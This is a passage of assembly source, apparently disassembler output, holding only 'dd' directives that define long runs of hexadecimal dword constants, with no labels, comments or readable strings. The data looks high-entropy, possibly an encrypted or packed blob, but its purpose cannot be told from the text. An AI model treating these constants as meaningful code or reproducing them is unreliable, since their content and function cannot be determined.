		dd 0E91621CEh, 832FC12Dh, 0B5C830EAh, 3ADDB40h,	7E07BB53h
		dd 4A0010F8h, 0FC0B1F97h, 172CF22Dh, 10012096h,	8F4C0771h
		dd 7F2EEF1Eh, 0EAC9E993h, 7555E129h, 68C2A4A8h,	0B5A22E17h
		dd 21770572h, 55714764h, 1E11B20h, 60C350E0h, 6CA7A2E9h
		dd 0E76883F9h, 9DBE851Ch, 0CD960C5Fh, 0C5835912h, 0E80E9509h
		dd 3CA6F7FEh, 47B07A19h, 85F4CA0Eh, 7BE9DC09h, 2FBAF50Dh
		dd 2D4ED2F5h, 0D6C668F9h, 7CEDE65Fh, 0FD7C0427h, 0EF2EA371h
		dd 40BF8256h, 71BAB942h, 7A952128h, 0A9A44ED8h,	582247BEh
		dd 685102A0h, 7F595B87h, 0F1013767h, 761F5F3Ch,	1C9FC2Bh
		dd 77CD1C3Bh, 3A38F0E9h, 43D3F70Ah, 2E7039E3h, 2A020D0h
		dd 68AE4B6Ah, 88728D5h,	2235142Dh, 40BF25E9h, 0EA131583h
		dd 93C86B31h, 127ED504h, 0EFD789FBh, 0C6A9D3BAh, 59E3095Fh
		dd 0EE2F3FDBh, 0FA27635Ah, 2F62C61Ch, 17DC7CF2h, 8ECEF7E9h
		dd 0A8A0E0E6h, 33714FBCh, 0DB898CDh, 6B08BA40h,	0BA3CF441h
		dd 4DFC97C8h, 5961C298h, 4CA8EE57h, 0BA9ABB54h,	5BA71C75h
		dd 8091AC5Ch, 7A6B2DADh, 55900F3h, 290727D1h, 7D60A5E9h
		dd 6872B220h, 0F94ABA1Ah, 207EE4FDh, 32332A62h,	8A05196h
		dd 4D87E916h, 1E94E690h, 240E7B88h, 50A46654h, 105AD468h
		dd 3D300630h, 0E9221601h, 5A1B8288h, 975695F4h,	8B26B46Eh
		dd 309590A8h, 0E1E84F92h, 0CBA382A4h, 854EBABh,	4F275A02h
		dd 0FC71F52Fh, 0C60FD268h, 0DE31AB7Eh, 1100937h, 7E02A8Ah
		dd 6073A361h, 5655E2CFh, 90EF44C7h, 249FA43h, 11BA610Ch
		dd 317F010Bh, 0D0E28713h, 78E9F8A8h, 0BB48BF32h, 6B007EE3h
		dd 82E28123h, 0C2509F08h, 87740D9Ah, 0C13600FDh, 5C010639h
		dd 0C420E542h, 0CB676B7h, 8C0626EBh, 88D8282Eh,	39FA6793h
		dd 0EFDC2A24h, 0F67B4A94h, 1A839797h, 0BB1D5ACDh, 7818AE2Bh
		dd 5D1E5D7Ch, 6BEFA9Ah,	0E2EE8100h, 27340301h, 7310F031h
		dd 0B1CF7DBAh, 3B2962EAh, 84E86002h, 1D762548h,	0F901045Ah
		dd 0E996C880h, 19405C11h, 2DFA45B7h, 94E2294Bh,	0A21C080Ch
		dd 60A86216h, 193463F6h, 8F8AEFF7h, 69859042h, 0B59CCBBh
		dd 3EAD2C5Ch, 7D4AF5C8h, 0CBBBCF85h, 0E9FA0444h, 80908BDCh
		dd 5BD22B3Fh, 17F8749h,	0D87A5F10h, 231351F5h, 0E1B8B2DAh
		dd 9E620B9Dh, 0D4E11C1Bh, 5E446B90h, 560F934Ch,	0AB242B89h
		dd 0C8B2FA5Ah, 2A31FEC8h
		dd 0A00544AAh, 146008A2h, 5591BE45h, 0C17939EEh, 0F16C06B2h
		dd 580A7F0Bh, 3F98004Fh, 0D1013531h, 0EB266ADDh, 87BA305Bh
		dd 0B532282Eh, 0D0BB3E4Ah, 0C76858A0h, 3C856995h, 5F2B76Eh
		dd 99B06E7h, 0FFA0B60Bh, 5625806Eh, 50D9DC46h, 749FDD27h
		dd 6911E2B6h, 7E801C5Ch, 21389CFDh, 7A2B7EEh, 0EAD64228h
		dd 12B9688h, 2C46CF68h,	0F005E83Ah, 0C32DEAA8h,	17A2491Dh
		dd 0FC10897Ch, 12B4261h, 0B2ACE907h, 4BC8CE2Bh,	7204DE1h
		dd 8D740205h, 0C043E948h, 441A7E5Dh, 805ED483h,	0CF514A32h
		dd 0C6BA2500h, 0E955BDBEh, 0CD206078h, 0AE0F7BC3h, 4EC90B4Ch
		dd 0F78414F8h, 3EF38AADh, 0AFDB1352h, 0EBA535E9h, 0A63AFA2Dh
		dd 0D40C7C10h, 0C2E0114h, 0D52216F5h, 0AF95123Ch, 1F123B53h
		dd 0ADC6F8F2h, 6812D4BEh, 2CEF64E4h, 4144F75Bh,	805AB7C1h
		dd 1CFA25B0h, 3DDA511Dh, 0A5C10357h, 2330D831h,	2030974Ch
		dd 0AFD28568h, 5B6FDEABh, 0E90A6CEAh, 7E1BF52Dh, 0F52DE50Ch
		dd 0B4C26E46h, 277E76AEh, 0E927E11Ch, 0DCB8C263h, 0F7480422h
		dd 87AD81D8h, 2B0AF909h, 5EE730E0h, 20A7DD34h, 0A4B2A7Dh
		dd 7E0CA276h, 0E3492788h, 7D687F98h, 59E36353h,	0A1F4C9Fh
		dd 0D15B746Fh, 5EB50720h, 5F535899h, 5092CDB8h,	21F1620h
		dd 80E7B551h, 0E05777F5h, 0BBBC55Fh, 8E06E953h,	0A5F314C6h
		dd 2C7E64A7h, 12808025h, 46D4C730h, 0EE09D1C8h,	2C4418Dh
		dd 572A8349h, 97FC7D9Ch, 0FCEB75Bh, 16638D50h, 5B697229h
		dd 0F8FA0DADh, 98385C78h, 10C1D3Ah, 0D8169AA4h,	284BE9EDh
		dd 0E32768C0h, 9C4C526h, 95A9CFE9h, 0BD7D4CF5h,	0F5800BD6h
		dd 0E91FFAB9h, 0CFA95DA2h, 55D112h, 72C5B19Ch, 0DD2F8957h
		dd 0B2AF435Bh, 0CA9CD5CEh, 0B8306A16h, 5CDD0FA0h, 291A9B2Fh
		dd 8081CF1h, 78640A99h,	0A5F9071Ah, 18F78B3Bh, 97C82E55h
		dd 4445517Ch, 72CDAA0h,	346866A5h, 0E6724B46h, 0C0AAB405h
		dd 0EB0903E4h, 1779D6A4h, 98C0E366h, 0BAEACC80h, 3BBF0E0Ch
		dd 5BF50A2h, 8038A851h,	0BE20AC62h, 0C501251Eh,	58085039h
		dd 285294Bh, 2C87DEAh, 0AEF4625Dh, 200EC280h, 7D31A9FEh
		dd 44B525D5h, 0C64D8FE6h, 2D58000Ch, 71045391h,	0BC620B35h
		dd 2743C93Fh, 2792DE34h, 926287BEh, 0F652C007h,	54ADF994h
		dd 32AF2B31h, 90F0F2F6h, 0CA0151B7h, 495F1030h,	0A7B24A21h
		dd 0B0F9E985h, 0A003B818h, 3179E241h, 9D9812C7h, 4ACAB2A4h
		dd 0D7BE4ECh, 5C9B190Fh, 0B5AC2A0Ch, 0AC2AFA41h, 840A58C1h
		dd 0F6BFB6CCh, 682F7B00h, 14A72076h, 9A63301Ah,	8FEC2F5Bh
		dd 0B0419F6Ah, 0BBF56EC3h, 123C38F9h, 9602C84Fh, 0FD5B4297h
		dd 0E65A74F1h, 0B5E97ED5h, 0C5C39BA1h, 0EC4FDD74h, 0BA01A57h
		dd 0F333F851h, 95DD6E13h, 0A91BC88Ch, 0A93EAD97h, 25E9B1ACh
		dd 0BE1DC57Bh, 21B4FBE3h, 2E5A7894h, 0F302488Ah, 0C107BBAFh
		dd 11EF6940h, 0A679E328h, 1AF835ECh, 0E9FD0104h, 0D81D92DEh
		dd 4EFC2AF5h, 0E025D826h, 12076F08h, 8065A030h,	12C2EA3Eh
		dd 7E9155DFh, 0B48E08E3h, 120BFD9Eh, 5100D27Ch,	601EE0B9h
		dd 0F148B72Bh, 37BCB0BCh, 72EF870Eh, 602009EAh,	8FB8A940h
		dd 14920E0Bh, 186D609h,	0D86F5DF7h, 6F803A15h, 9748CA68h
		dd 100476C6h, 120990Fh,	630E470Bh, 18A6D783h, 72C1DE4Ah
		dd 0B0CDD9A9h, 0C5ACB87Ah, 0B7FEA195h, 69216AF2h, 77D56309h
		dd 9ABF8CE4h, 69BFF9CBh, 849A2393h, 7224500Bh, 57093E4Ah
		dd 0C99E5D77h, 734C802h, 3AE05B4Eh, 0AC5F7893h,	0AD7AE1B1h
		dd 3FE90BC5h, 9DFBE603h, 0D25B6ADCh, 2D5D7EBFh,	2FD6145Fh
		dd 0C0F1B0DAh, 33ED8F96h, 0FA305712h, 8E90960h,	98059284h
		dd 2AE69B41h, 7FF2E7F3h, 0E9415DF1h, 0A5637D55h, 0BE28EB4Eh
		dd 14387271h, 0B46C3162h, 2B9BE9CEh, 8174BEA9h,	0CF02D44h
		dd 49D47C2Fh, 42EB855h,	1D59A105h, 0C0608065h, 0D8981856h
		dd 0B135C98h, 13AE0ABDh, 5A1E82F9h, 7FA7BAFFh, 48FD7AA2h
		dd 9EB88898h, 1BD40E03h, 266CF8E9h, 1373AC1Ah, 3F0529B4h
		dd 0F507A3F6h, 0E1AF7B5Ch, 2C7F3E9h, 826AD601h,	1AD46236h
		dd 16C4AD7h, 53B6E908h,	0E0632CA5h, 912D93C1h, 0F65F3FFFh
		dd 382F10C3h, 238A3503h, 66D27F51h, 519889DDh, 0C9721E04h
		dd 0BB8EA787h, 488635A6h, 3935BE9Fh, 7B5CCD31h,	0B3339616h
		dd 360B1300h, 4816CFE3h, 0E047FCB1h, 2458DEBAh,	774091h
		dd 63D948E3h, 0C05F41E9h, 22176227h, 46FC1EA2h,	868160B8h
		dd 3C7307DBh, 40478F1Eh, 0A1106B4h, 0AAFC5A85h,	6F99E9F1h
		dd 572928C2h, 962D1D6h,	0C18600FDh, 0E7B8D1F6h,	2E3A065Ch
		dd 0C2459F97h, 0CD26C8AEh, 943F9D41h, 0CB7FE39h, 2AB1A293h
		dd 0E913C5B9h, 0E0277E9Fh, 5AC57C73h, 51690152h, 0F0058528h
		dd 0D883311Dh, 3D79B4F1h, 23A5163Eh, 8B02BE0h, 9D5FAEEEh
		dd 0B04F36B3h, 323CFB3Dh, 12A9CA8Eh, 1301CF0Eh,	785A56F8h
		dd 45685581h, 5D1CC509h, 8E8EC2D7h, 0A8647E57h,	0A6135D26h
		dd 2B7E40A1h, 74A44A41h, 680340BDh, 0F3596437h,	28BBA4C4h
		dd 319514F5h, 8D25BACDh, 21D67092h, 218A76Bh, 32D2DF53h
		dd 684BA588h, 0D2143F24h, 51E7FC0h, 9084A312h, 2D77442Eh
		dd 5B7CE7D1h, 1E6CA28h,	0F3F8179h, 67E05B3Fh, 0F313042Fh
		dd 0C04E461Eh, 47487ADDh, 0F0930E4Eh, 0B160506h, 0F5C4A183h
		dd 2AABD513h, 4BEAC4CCh, 0A6F9048Dh, 3DCABE58h,	6A32A360h
		dd 68123F84h, 30FF5980h, 5F4DBA76h, 4CB82FF4h, 0C14EC9BFh
		dd 0AE51876Eh, 0CF04CDCAh, 0C8341477h, 6A1E09D3h, 8FBF9AE0h
		dd 6CC24E12h, 0EFD10505h, 770E8D96h, 0C02F0981h, 0E1ACF0B1h
		dd 0E00E780h, 554A43F1h, 2F41B3BDh, 73D81C03h, 72D2E92Ch
		dd 3B15FFACh, 8DB71FC2h, 72A5164Bh, 9AE09A0h, 48842E54h
		dd 0A08013C7h, 0BF32B068h, 6ADD179Ah, 0E4735F65h, 13A93395h
		dd 38BE64E5h, 922D6846h, 2FF55B1Fh, 0BD0596F7h,	2020C646h
		dd 0D6DABD3Ah, 66D95955h, 0C08417C4h, 3F79790h,	5FFE8044h
		dd 0B7A2FCh, 2530BDF5h,	0F236619Ch, 350E129Bh, 0D42F06Bh
		dd 0C66D5Ch, 7CD67DAFh,	0CC4B9BE9h, 0F6FC8699h,	5B0BD267h
		dd 0EE80DE90h, 35C048FFh, 0E088FE76h, 2D5A70F5h, 1A7D59EBh
		dd 672F8496h, 19000912h, 58924D47h, 7810BFA6h, 247B48B0h
		dd 5F92B6F3h, 63C70640h, 0B84C7A69h, 5E8B401Bh,	0F205D8BFh
		dd 0DF5F487Bh, 6C7E01A3h, 0D1791B29h, 0C2D127BCh, 99515573h
		dd 7CA497E2h, 0CD552C7h, 2F5EB21Fh, 0BF68948h, 0FC2F1C28h
		dd 668EF745h, 0EF120760h, 0F12DE909h, 0A2DD2E46h, 7C33D561h
		dd 75273F94h, 0DA88A400h, 0D7E8595Bh, 8F605A5Dh, 536825F6h
		dd 0A2AEA512h, 0CA429D87h, 5FCB7AE9h, 0F680C11Ch, 0D06037E9h
		dd 3FD6CBAAh, 0A9244F71h, 5FE10C7Ah, 18ABD3A7h,	0C009C064h
		dd 0A9306B80h, 40A50C79h, 0E9250C07h, 0E389AAE4h, 742B32C0h
		dd 3A507E21h, 0EE9240B8h, 6AC0BF49h, 91520E5h, 0E8E93656h
		dd 2A895F61h, 0AAD635F2h, 0CCBFA417h, 794AE97Eh, 41544FC2h
		dd 0B22BA088h, 3D169F49h, 0DBF62C40h, 0F40EC380h, 0D1F45A4Bh
		dd 7F880BDFh, 31684961h, 83B751EEh, 456440F6h, 9327D03Ah
		dd 80AA33F8h, 24D5F3DBh, 3E769C24h, 956CCC04h, 89066A8h
		dd 0CA8AE90Ch, 0D1778768h, 2F18FC4Dh, 4EE6145Dh, 4A34CA58h
		dd 12D7BF98h, 0AA740AE9h, 0ACBEF370h, 0C919EC30h, 444670C4h
		dd 0E5449602h, 42EE292Bh
		dd 5F9D24E3h, 92EBE3ABh, 0E9DF3C70h, 0D2C55A36h, 89D00836h
		dd 6FF241B5h, 6BC2E52Ah, 2D043AE9h, 0C31D8874h,	0D48291Fh
		dd 0E65B2460h, 9669F4CBh, 2B39AA89h, 0D8E9DF84h, 250E91Eh
		dd 1819A105h, 95BA701Ah, 9F0594D7h, 4F462B56h, 0D0F69F4Fh
		dd 9192047Bh, 8368C302h, 75003D0h, 79D35967h, 493344Eh
		dd 21E0F8CCh, 4B4B5115h, 2D18D330h, 895D7850h, 0C20D9E1h
		dd 21E0B80Ah, 6014F89Dh, 5E2C36A1h, 8690885Bh, 4E5C005h
		dd 4EFCDFEh, 1296CEA4h,	0E28209AAh, 0BBFC0582h,	0C5895501h
		dd 445DCACBh, 0F789D19h, 92E5EA5Eh, 4D16D5CAh, 0F8305813h
		dd 4BD99A0Dh, 399FA728h, 3CB266DCh, 61702DF6h, 0D3FBC352h
		dd 996DA31h, 8BEF32FAh,	0D5F3865Ch, 501CB766h, 0DAA8D888h
		dd 0FE5C8A3Ch, 0AD62E97Eh, 0BAD50130h, 65F47E59h, 98A517C1h
		dd 3A9CC80Dh, 0C3215804h, 8299C8F0h, 60A3C800h,	292617F2h
		dd 405A2AFAh, 254C5949h, 0A87E5A31h, 0EB0C5C28h, 0DA0D1A05h
		dd 9004EEC1h, 773101F2h, 99E920A9h, 5B3E97A3h, 91C28C09h
		dd 0B2A9F46h, 0E6F54176h, 1FABECE2h, 64EF3246h,	24A802E3h
		dd 3CE1606Fh, 82CF3CAAh, 0DF324E68h, 6E360FB4h,	918534Eh
		dd 52DA49AAh, 782DCF8h,	681C76FAh, 7D256FC0h, 57A7E0CDh
		dd 0EE097C22h, 0BD33165Fh, 368023D9h, 55136807h, 8ABC33E9h
		dd 734C5A22h, 0F10D2DDFh, 888D482Bh, 3B2C930Fh,	1F654408h
		dd 0E82843B5h, 82A45966h, 8BFD294Ah, 2DFA6D83h,	5E4B5359h
		dd 0FB401269h, 27883FC8h, 0B85659CFh, 0AFB7457Ah, 0E910A636h
		dd 57276A03h, 0B93CA075h, 4B590460h, 202A906h, 0BA85694h
		dd 8524049h, 0B716C341h, 82F453CEh, 0C79B88F9h,	0F780F5E0h
		dd 0ACF66B26h, 1C7F1208h, 34514505h, 0B2AB2273h, 0DD35D0A0h
		dd 0AC5FB3A1h, 0EC4AEEF8h, 5F00E5C7h, 6C701277h, 25562568h
		dd 620BCEC6h, 5F218E7Ch, 6196EE90h, 0E9126DF4h,	74AEB454h
		dd 3039D937h, 3319A90Ch, 0B72E19FEh, 0EFC5EE04h, 0A97A5969h
		dd 0D71C93F8h, 5FFD2FF0h, 586109BAh, 0CA423E2Fh, 0F42D67F6h
		dd 6455521Eh, 0BA3B2F6Bh, 0A7B2A94Eh, 6B975BFCh, 0C824B782h
		dd 4E6836B4h, 0B51136Ch, 49E7FCF5h, 0A74B803h, 96BB9894h
		dd 0F9950AF6h, 2DE6C301h, 0F55650Bh, 6031AE80h,	762CD5C6h
		dd 766E7004h, 7953E8F0h, 0C4E92FB7h, 0DEBF12E0h, 9BD9B616h
		dd 13D78001h, 0CAF50FCh, 682810FEh, 0C52BC05h, 0EE292Fh
		dd 24537133h, 0D05406Dh, 60F6674Fh, 0B02DEDE9h,	5168C760h
		dd 25B53513h, 2D3F0ECAh, 0FE1C3134h, 0B85AC6A6h, 0F005C9F3h
		dd 4A81EA1Eh, 28D9AE6Bh, 0B5A0F041h, 0C178246Bh, 6A6F3248h
		dd 0EB88FC71h, 0C0AE0B70h, 56D2F744h, 7504D9BEh, 0EED1604Dh
		dd 4E43380h, 0F08FB8C8h, 0D50D18A4h, 0F4B61855h, 1FB4F8EEh
		dd 7335E905h, 0F55E03E9h, 82A2EF31h, 6A9D8E48h,	597F3E27h
		dd 342269A2h, 0D3D6A2D3h, 76C202D1h, 77DCE9ABh,	0C277C6Bh
		dd 0EF878AFBh, 807DD917h, 7EEBE400h, 0A0516445h, 5F10E9D5h
		dd 6A2CB4B9h, 5FF7E640h, 0A7B108DEh, 0BBA55A16h, 5D0298C9h
		dd 50300A7Eh, 7F7F4E4Dh, 0BD342D14h, 99591CD5h,	7F2C0C2Eh
		dd 880FBFDBh, 657DA273h, 99AEAEBAh, 0FACC1410h,	4588B1DDh
		dd 0BE037221h, 8480714Fh, 8382D4BBh, 8CA4D642h,	7F0F6888h
		dd 0AB17C41Fh, 1C30F592h, 4A979A3Dh, 0B781C11Ah, 60405202h
		dd 2E716191h, 0D99BA05h, 0AC904BDBh, 1617CA81h,	0AE551201h
		dd 0F2876402h, 75AAE2E9h, 6C2D50ECh, 21A0F76Eh,	4B3946ACh
		dd 27185297h, 0F6FC96A2h, 7F7066EFh, 0D9294834h, 2792BF10h
		dd 8216F559h, 1A02EDECh, 2939DF21h, 0CDC25DC5h,	0FA0ED79h
		dd 8C9E49B0h, 47806F6Ah, 0F5295322h, 0D5D9B75Eh, 3161A7A6h
		dd 0A23A59CDh, 0BD551786h, 2B29909h, 4A080CE4h,	0EE6B5569h
		dd 152C7FF3h, 69171B5Ch, 29050B35h, 5E8A6E05h, 9F1445Eh
		dd 8052E27Bh, 315FD2E6h, 0E9A3BD3Bh, 567BD42Ah,	895F48B5h
		dd 72089C7Fh, 0C2FFD975h, 0C3509BE9h, 48B0BF07h, 71A573D6h
		dd 0C0DC3A0h, 77F441ACh, 879E6028h, 0CC093045h,	0FFC129EAh
		dd 0DE448001h, 0F9FB7103h, 90EE6358h, 0A4D38C43h, 0E4E9169Ch
		dd 76E2F9F4h, 0F7CEF2B7h, 0FBD3ABF4h, 130A52ACh, 4B39AC28h
		dd 400669FBh, 0E11BDAC4h, 2423235Ch, 0B1C28167h, 49487B42h
		dd 2BC38F81h, 0DDE02A94h, 6BD42C41h, 5AD0091Bh,	0B911A287h
		dd 885CC7FFh, 2D0168C4h, 56B006B4h, 6FE4A16Eh, 8B123384h
		dd 0CADAF0EBh, 5F813F5Bh, 0EA965D1Dh, 0ECA456F1h, 74BA840Ch
		dd 0BF0362E2h, 5D3334D6h, 389BD4E9h, 848B4E91h,	1D166809h
		dd 0AF3E7Ch, 9FF38165h,	3195281Ch, 51340191h, 4CE9104Eh
		dd 0F7798945h, 75E457D3h, 29CF6815h, 0F7AC899Fh, 6444E89Ah
		dd 0B965C4Dh, 7E1C1868h, 0D051645Ch, 7322A421h,	1C895F26h
		dd 33B4B900h, 24413EDBh, 92ED90E9h, 0E938BF29h,	0BACDC010h
		dd 54414451h, 4DEA8118h, 496EE90Dh, 0A65F9E30h,	45557B81h
		dd 3268FC56h, 48D5751Fh, 948B4D8Bh, 0E768173Ah,	30AE650Bh
		dd 4FA2C229h, 0F50BC62Fh, 2408AE88h, 1B9EAD45h,	0A49294h
		dd 5A166710h, 3E47FD53h, 0C12F2C5Bh, 2FB25996h,	2487E697h
		dd 0C90910C1h, 0C9A27C28h, 6525B5D1h, 59554906h, 185C4E29h
		dd 0CCFE9CE5h, 0B5516601h, 40EC806Fh, 75B4EC2Eh, 0C6987490h
		dd 4F317840h, 92F1F2F8h, 1228B7EFh, 6749D7F7h, 65A5845Fh
		dd 3CC8D9BBh, 0F67E0B25h, 73107D33h, 0BA0C681h,	36276859h
		dd 77A921Bh, 0AB93A894h, 64CE0646h, 0C636F50h, 0E6150C17h
		dd 0D4DBD905h, 0CE5A2BAh, 44430AB0h, 0C15D16EBh, 0D3A606E3h
		dd 0F797064Ah, 0D97C292Ch, 36106816h, 2E5167D1h, 69E5DFC2h
		dd 4345E961h, 4290B732h, 88548505h, 4E64E867h, 3D35644Ch
		dd 0FEA44BB2h, 0B3C30191h, 957C02F8h, 41903846h, 69057D2Fh
		dd 177A5084h, 0DA4CED34h, 0FBF0F52Eh, 0DFA9EFE8h, 0E74CC61Bh
		dd 3E7A4158h, 2714A54Dh, 9672C2B4h, 51D77C85h, 29473468h
		dd 862DC677h, 271F5266h, 0EB98B18Ah, 0CEB76341h, 0DA80CBFDh
		dd 57765558h, 0D0C07E5Ah, 0B61C6F09h, 0C1534BB5h, 432B6804h
		dd 2620CA8Dh, 2847244Ch, 871313E3h, 0A402A9ADh,	0ED41445Dh
		dd 0D9A124B2h, 82955B5Eh, 0B6943285h, 0EC4EBFF9h, 8F2AB917h
		dd 816813DFh, 7A8AF6AAh, 715D532Dh, 9DB6865h, 887EBB36h
		dd 97595470h, 5769AFDBh, 2F2B05C5h, 42446804h, 0E9080BF6h
		dd 0BA241708h, 8E16572Fh, 9A094D25h, 0F9D85596h, 0A647E918h
		dd 393BBE1Ah, 2D7AC40Dh, 0B4D945C0h, 3958BDC0h,	0EC2B019h
		dd 6F0D26E9h, 0C915F385h, 3C65FD7Eh, 0B9A85EE7h, 0C8130FACh
		dd 4A521CE9h, 0AC0C855Eh, 24F6958Ah, 2C131B1Ah,	803117D6h
		dd 3954ED3Ah, 794B553Bh, 0E82C2D0Bh, 258B60D7h,	80F5C514h
		dd 0C0B3BC1Fh, 2E6F7B83h, 25BE59h, 4EC2F181h, 58FE6066h
		dd 0C1C79BBDh, 8767032Fh, 608C790Bh, 65883140h,	7E119A2Fh
		dd 7B1002DBh, 8F4146A6h, 9C882F60h, 4B8FF253h, 0D88A40F1h
		dd 5298A6DBh, 0F6BDF2FEh, 9A555A33h, 0E65E7A43h, 77D230FAh
		dd 7BDAC66Eh, 0E91050EAh, 0FB5148F0h, 0FCE4FAC9h, 62F594B4h
		dd 8529979Eh, 0C9BA3EBEh, 7E0B3E9Fh, 57236282h,	595F5DB2h
		dd 0B2865805h, 0FD4DBB9Ah, 68294EB5h, 4C1DA42Fh, 0F2497162h
		dd 0D089D56Dh, 3104875Dh, 905A24E8h, 5EB57B47h,	666CEBDEh
		dd 18FDF8A2h, 4F9AE902h
		dd 487AB7A0h, 815E203Dh, 9728C880h, 5838880Bh, 4C9DA69Ch
		dd 5FE91B47h, 81CC32DEh, 1A263EBh, 0C9F85152h, 901092A4h
		dd 5C81425Dh, 62780650h, 0A2387499h, 4749A2ADh,	664FF423h
		dd 3AA861CDh, 662D30B3h, 8E39C052h, 7DB9D84h, 0C1653E18h
		dd 0FA025FEFh, 7F0F401Ah, 0F55FE5D8h, 0D0BF1900h, 0BF224044h
		dd 0E4E9F163h, 0C2ED6B85h, 281D8AD2h, 1E02B557h, 8937FA38h
		dd 9E5BC1DFh, 82B3D007h, 5B5CDC08h, 201D7715h, 0F68058E6h
		dd 0E9F3305Dh, 697167C3h, 2B2C52E7h, 0D9450075h, 1A37FB2Fh
		dd 0DB5761E9h, 2058715Dh, 66F4A2E2h, 48CAA000h,	0BD5EFEBCh
		dd 51F7B9E2h, 90AE44AFh, 728E6882h, 0B605F893h,	0AAA89110h
		dd 8E60CF31h, 46992B88h, 27D3FE64h, 58742A20h, 0ED565901h
		dd 0F6604A30h, 19C70096h, 5AD62910h, 4B707CE9h,	7E3A5F9Dh
		dd 5351B75Eh, 5BA2D072h, 5449E8D9h, 56565BA9h, 0E6C01400h
		dd 980512F6h, 7786C9Dh,	0A89B19C5h, 0A5019644h,	456D60A1h
		dd 5B74CA60h, 0FB925EEh, 2240CBB5h, 69BE5614h, 59A8190Ah
		dd 10028A46h, 0E1ABF3EDh, 1325A79Dh, 4EA30660h,	88CB8D3Bh
		dd 1AAD858h, 5631E6BBh,	74B8E805h, 0B9506B97h, 0D73A8259h
		dd 0CEC1869Eh, 0A08F469Dh, 170BF17h, 0D62D1976h, 2A3A8A6Ah
		dd 0A64B5304h, 42535EFAh, 31477324h, 0F201CE80h, 8C5E8DE9h
		dd 1CC844F7h, 0E2E3E906h, 5CCAEC89h, 24B183A1h,	28B80064h
		dd 7D6F0475h, 8D227168h, 6E3BE0F5h, 5A51F617h, 77194BAh
		dd 0F76A34A1h, 0FBA4B462h, 34BFC116h, 0A482AAE3h, 0D59C6253h
		dd 305D2D61h, 3C18FEB8h, 330C6F43h, 0C2EA7718h,	0F4A23ECh
		dd 9707A5Dh, 65706F1Fh,	0BF1094FDh, 0BA06D9F4h,	4C567F03h
		dd 0E50282EAh, 966FE939h, 92BD367Bh, 1531A810h,	0C42FE1F7h
		dd 96C50073h, 83290774h, 0E9CEE850h, 48CF7CEFh,	0DF854B3Ah
		dd 359C586h, 7E87055Dh,	77DA3B02h, 0E125985Eh, 563B250Dh
		dd 0B3178256h, 28257C78h, 980677F9h, 764C06AFh,	5892065h
		dd 0D10FCA68h, 8514ED7Fh, 37BB90C6h, 6187D377h,	48D0F9E2h
		dd 399D644Ch, 28688E02h, 0BB21F369h, 0AF0560E8h, 0AF96141Ch
		dd 1005A012h, 0B6EEDE36h, 0F24FC543h, 421C98AEh, 26437C4Bh
		dd 9A5F4A26h, 4AFBFF53h, 0DA6571C2h, 231E0207h,	524756E0h
		dd 6B02B9E7h, 4058911Dh, 165D0F03h, 12EA2969h, 5FD9A8EEh
		dd 88B4FFECh, 6C00A26Dh, 0F68157A0h, 4E653E45h,	1D50BF63h
		dd 569116E7h, 66A4B020h, 0DB1858D5h, 0B7FE6750h, 0C05A5DFCh
		dd 0B58F8DF4h, 74492374h, 0E91554DBh, 781AAEE2h, 0BEE2FD54h
		dd 4F49930Fh, 0CAD6492Ah, 0A33F8092h, 9718076Ah, 63DBB7E0h
		dd 0D0099BA4h, 0DDFE902Dh, 0CD81E948h, 9C7A0A09h, 0B483F769h
		dd 86D182DFh, 0CD4F7129h, 4D602ADEh, 48518EC6h,	57A2FC4Ch
		dd 0DE95EE50h, 0BA01C50Eh, 16E5780Bh, 0AA1CF8A5h, 0B0DE81C8h
		dd 82C27811h, 5780F475h, 52E419FCh, 0D7F1A782h,	0BA8A5EF3h
		dd 0BAA68385h, 0EB808F38h, 0EF7B8571h, 0B84835E2h, 5C09D025h
		dd 0E98B1947h, 4E37AB2h, 6E2267E7h, 9A00BB10h, 53028658h
		dd 38680252h, 5A6DBB0Fh, 0E303DCD8h, 0E90D7C73h, 0F2EFA411h
		dd 1BA5044Fh, 0C7EF0FB8h, 28DE39B6h, 2598275Bh,	56A4FB20h
		dd 9CB8368Bh, 7409620h,	76410A05h, 28608B74h, 0DB48F479h
		dd 98F84FFCh, 5F8F0173h, 0CFE93C7Dh, 25E92B73h,	7B99FB93h
		dd 22E2F03Bh, 526CF441h, 78DCE05Bh, 7EB50AECh, 448D823Ah
		dd 0C35E7DC2h, 5C68253Dh, 0E665EFE6h, 560F93C7h, 6F2B39B9h
		dd 0C0C23190h, 950573EDh, 8BB15C02h, 2364BA00h,	3B5874h
		dd 0FD4A0B02h, 4CC32127h, 0CC5154BAh, 798F72Dh,	0A19D46BEh
		dd 3E0C6891h, 6CDB005h,	4BCFA29Eh, 4F7AD8E7h, 27838121h
		dd 29F3048Dh, 3311B262h, 2839BB00h, 2E50B730h, 400D356Bh
		dd 0E16B9CB1h, 8416DFC2h, 7C4A2EA0h, 27685E80h,	3C194C3Ah
		dd 4EC2ED3h, 45552601h,	44055823h, 500B8806h, 696F6812h
		dd 0D67061ABh, 6CCF6E1Eh, 9501F014h, 88B7FFD2h,	77685B05h
		dd 3874952h, 0ED5CF7A4h, 608785EBh, 0D209F2EAh,	0BE4A97E8h
		dd 0F3BB7134h, 450977F9h, 0F55D734Fh, 48CDD920h, 4E769507h
		dd 6B9F501h, 0CEE9232Ah, 306E6FAh, 5195B753h, 0EA90FD88h
		dd 0F6970C8Bh, 5B5E5CE7h, 8330BCACh, 0B252ACB6h, 0E2C0F3Eh
		dd 9204D028h, 0EB4A87E3h, 3FE1103Dh, 13F2AF24h,	0F4293E36h
		dd 6664C924h, 16BE965Ch, 0B52B010Eh, 0FD42DF2Bh, 0A3246BBCh
		dd 93D78AEBh, 261A1600h, 4B311CCAh, 9CA62DDFh, 59C9FAF8h
		dd 7DD3325Ah, 0A532E281h, 87A06F74h, 951B70C1h,	688990FEh
		dd 0D6C0A9B5h, 1DE9709Ch, 66A983BDh, 20327931h,	2D024917h
		dd 28263B33h, 1EE45D59h, 0BFB355F5h, 9C257944h,	856268FFh
		dd 2D56B840h, 187FDE68h, 254C64ADh, 627751D1h, 71554209h
		dd 5E8169DAh, 7BA46945h, 1190F0h, 8160D827h, 1862CDE6h
		dd 7275348h, 4D50B4F6h,	0E3A9E9D1h, 2769443Eh, 2F6802F2h
		dd 8F54F116h, 13371A35h, 44D209F4h, 0A0B3FDE0h,	0F63AC095h
		dd 0D3D3E4DBh, 0FA4EFA08h, 5A0C13E5h, 0CF6A0C04h, 40976106h
		dd 8859EBB2h, 0C01F5BDEh, 0CEC605EEh, 0FC60863Ch, 6695C1EAh
